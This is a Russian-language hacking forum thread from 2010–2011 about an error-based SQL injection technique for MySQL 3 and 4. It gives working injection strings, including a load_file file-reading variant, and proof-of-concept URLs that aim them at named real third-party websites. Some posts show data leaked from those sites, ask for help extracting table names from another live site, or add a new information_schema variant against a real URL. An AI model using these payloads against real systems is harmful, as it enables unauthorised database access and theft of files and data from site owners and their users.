Старый 07.08.2010, 23:55   #1
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию MySQL 3 Error Based SQLi

Ну, собственно, как я уже писал в теме "Шпаргалка", помимо запросов, предложенных Qwazar

Код:
union select 1,count(*),concat((select pass from users limit 1),0x3a,floor(rand(0)*2)) x from users group by x

and row(1,1)>(select+count(*),concat((select pass from users limit 1),0x3a,floor(rand(0)*2)) x from users group by x limit 1)
Можно использовать следущий

Код:
or 1 group by concat(version(),floor(rand(0)*2)) having min(0)
Что позволяет нам полностью избавиться от использования UNION и Subquery, а, следовательно, убирает все преграды для использования этой атаки в MySQL 3.
В итоге, мы получаем нормальный вывод данных и вполне юзабельную читалку файлов.
Единственное отличие, пришлось добавить or 1 в having, без него mysql 3 не хотело возвращать ошибку.

Финальный запрос:
Код:
or 1 group by concat(version(),floor(rand(0)*2)) having min(0) or 1 -- -
Дополнение:
Вместо "min" можно использовать любую агрегатную функцию:
count, max, sum, avg, bit_and, bit_or, bit_xor, std, stddev, variance (mysql>=3)
var_pop, var_samp, stddev_pop, stddev_samp (mysql>=5)


PoC:
Код:
Вывод версии:
http://www.esiweb.org/index.php?lang=en&id=311&film_ID=5&slide_ID=27+or+1+group+by+concat(version(),floor(rand(0)*2))+having+min(0)+or+1+--+
http://www.hse.ru/pressa2002/default.php?show=12551+or+1+group+by+concat(version(),floor(rand(0)*2))+having+min(0)+or+1
Читалка файлов:
http://perkins.pvt.k12.ma.us/museum/area.php?id=35+or+1+group+by+concat(mid(load_file(0x2F6578706F72742F686F6D652F6861697262616C6C2F68746D6C2F6D757365756D2F736E69666665722E706870),1,163),floor(rand(0)*2))+having+min(0)+or+1+
А так же тесты на 3.23.55-nt (windows) показали, что через ошибку можно протащить вплоть до 163 байт + единичка от rand
Код:
mysql> select password from users group by concat(left(load_file('c:/mysql/data/test/test.txt'),163),floor(rand(0)*2)) having count(*) or 1;
ERROR 1062: Duplicate entry 'Rabotaet! Ochen ochen ochen dlinnyj fail i edinichka na konce iz-za rand Rabotaet! Ochen ochen ochen dlinnyj fail i edinichka na konce iz-za rand Rabotaet! Ochen o1' for key 1
Вот такой вот небольшой ресерч Хотя, наверно, сейчас мало где встретишь 3 версию)

Последний раз редактировалось BlackFan; 17.09.2010 в 21:24..
BlackFan вне форума   Ответить с цитированием
Старый 17.09.2010, 21:26   #2
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Спустил тему сюда.. На статью конечно мало тянет, но пусть лежит
BlackFan вне форума   Ответить с цитированием
Старый 08.11.2010, 21:50   #3
s4avrd0w
 
Регистрация: 21.07.2010
Сообщений: 54
Репутация: 28
По умолчанию

не смог проиграть вектор

mysql> select count(*),concat(version(),floor(rand(0)*2))x from test group by x;

ERROR 1062: Duplicate entry '3.23.58-max-debug1' for key 1
mysql> select a from test where a='test1' group by concat(version(),floor(rand(0)*2)) having min(0);

Empty set (0.20 sec)

на MySQL 4.0.27 ситуация аналогичная
s4avrd0w вне форума   Ответить с цитированием
Старый 08.11.2010, 21:54   #4
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Эм,
Код:
select a from test where a='test1' or 1 group by concat(version(),floor(rand(0)*2)) having min(0) or 1;
должно сработать (и в таблице больше 1 записи должно быть)

Последний раз редактировалось BlackFan; 08.11.2010 в 21:57..
BlackFan вне форума   Ответить с цитированием
Старый 09.11.2010, 02:28   #5
s4avrd0w
 
Регистрация: 21.07.2010
Сообщений: 54
Репутация: 28
По умолчанию

угук, я ступил

ключевым оказался "or 1" на конце. для 4.0.x также требуется "or 1" и перед "group by"

но, вот с этим не соглашусь "Что позволяет нам полностью избавиться от использования UNION и Subquery, а, следовательно, убирает все преграды для использования этой атаки в MySQL 3."

залезть в соседнюю табличку по-прежнему низя
s4avrd0w вне форума   Ответить с цитированием
Старый 25.11.2010, 16:22   #6
Beched
 
Регистрация: 06.07.2010
Сообщений: 395
Репутация: 118
По умолчанию

Ааа, отлично.
Кстати в примерах скуль hse.ru, которую я года три назад находил) Где ты её откопал?
Я тогда её как раз забросил из-за 3 версии..
Beched вне форума   Ответить с цитированием
Старый 02.03.2011, 13:32   #7
durito
 
Регистрация: 02.03.2011
Сообщений: 76
Репутация: 2
По умолчанию

а вот как узнать имя текущей таблицы, во к примеру в этом случае:

http://www.perthspeeddate.com.au/payment1.php?eventID=68+or%201%20group%20by%20conc at%28version%28%29,floor%28rand%280%29*2%29%29%20h aving%20min%280%29%20or%201/*
durito вне форума   Ответить с цитированием
Старый 02.03.2011, 14:37   #8
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 352
Репутация: 105
По умолчанию

durito по моему там лимит на длину значения GET параметров и запрос обрезается.
b3 вне форума   Ответить с цитированием
Старый 08.03.2011, 02:35   #9
ciwl
 
Регистрация: 27.01.2011
Сообщений: 2
Репутация: 0
По умолчанию

Код:
or 1 group by concat(version(),floor(rand(0)*2)) having min(0)
объясните, пожалуйста, логику работы такого выражения. Т.е. суть в том, что оператор агрегации "group by" в процессе исполнения натыкается на "duplicate entry". Почему так происходит и при чём здесь округление float-числа, умноженного на 2 (или на другое число, больше единицы)? Без множителя, например, трюк уже не работает, как и без having.
ciwl вне форума   Ответить с цитированием
Старый 08.03.2011, 11:02   #10
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

http://bugs.mysql.com/bug.php?id=32249
http://bugs.mysql.com/bug.php?id=8652
Насколько я понимаю баги, от которых отталкивался Qwazar

Ответ разработчиков:
Цитата:
This problem happens because in a GROUP BY query a RAND expression can be evaluated
several times for the same row, every time returning a new result.
The manual should have mentioned this behaviour not only for ORDER BY queries.
Ну и оригинальная заметка, с предложением использовать эту ошибку для SQLi http://qwazar.ru/?p=7

А почему именно floor(rand(0)*2) это уже хз. Так же почему left(rand(),4) не работает, а left(rand(),3) работает.
В сурцы никто особо не лазил, чтобы выяснить эти особенности..


Пока искал оригиналы встретил еще много интересного в багах.
Можно наделать еще кучу вариантов использования "Duplicate entry".
Например берем http://bugs.mysql.com/bug.php?id=58081, берем первую попавшуюся инъекцию, химичим с параметрами и получаем навый вид error-based sqli (Ну точнее почти такой же, просто с другой функцией)

Код:
http://www.chatzivasileiou.gr/main.php?id=47+and+0+union+select+1,2,3,4,count(*)+from+information_schema.character_sets+t1,information_schema.character_sets+t2+group+by+concat(user(),insert(0x20,t2.maxlen,t1.maxlen,(@@global.max_binlog_size)))+--+

Duplicate entry 'vasilis@localhost 1073741824073741824073741824737418247374182407' for key 'group_key'
Так что вперед и с песней ковырять mysql)

Последний раз редактировалось BlackFan; 08.03.2011 в 11:30..
BlackFan вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot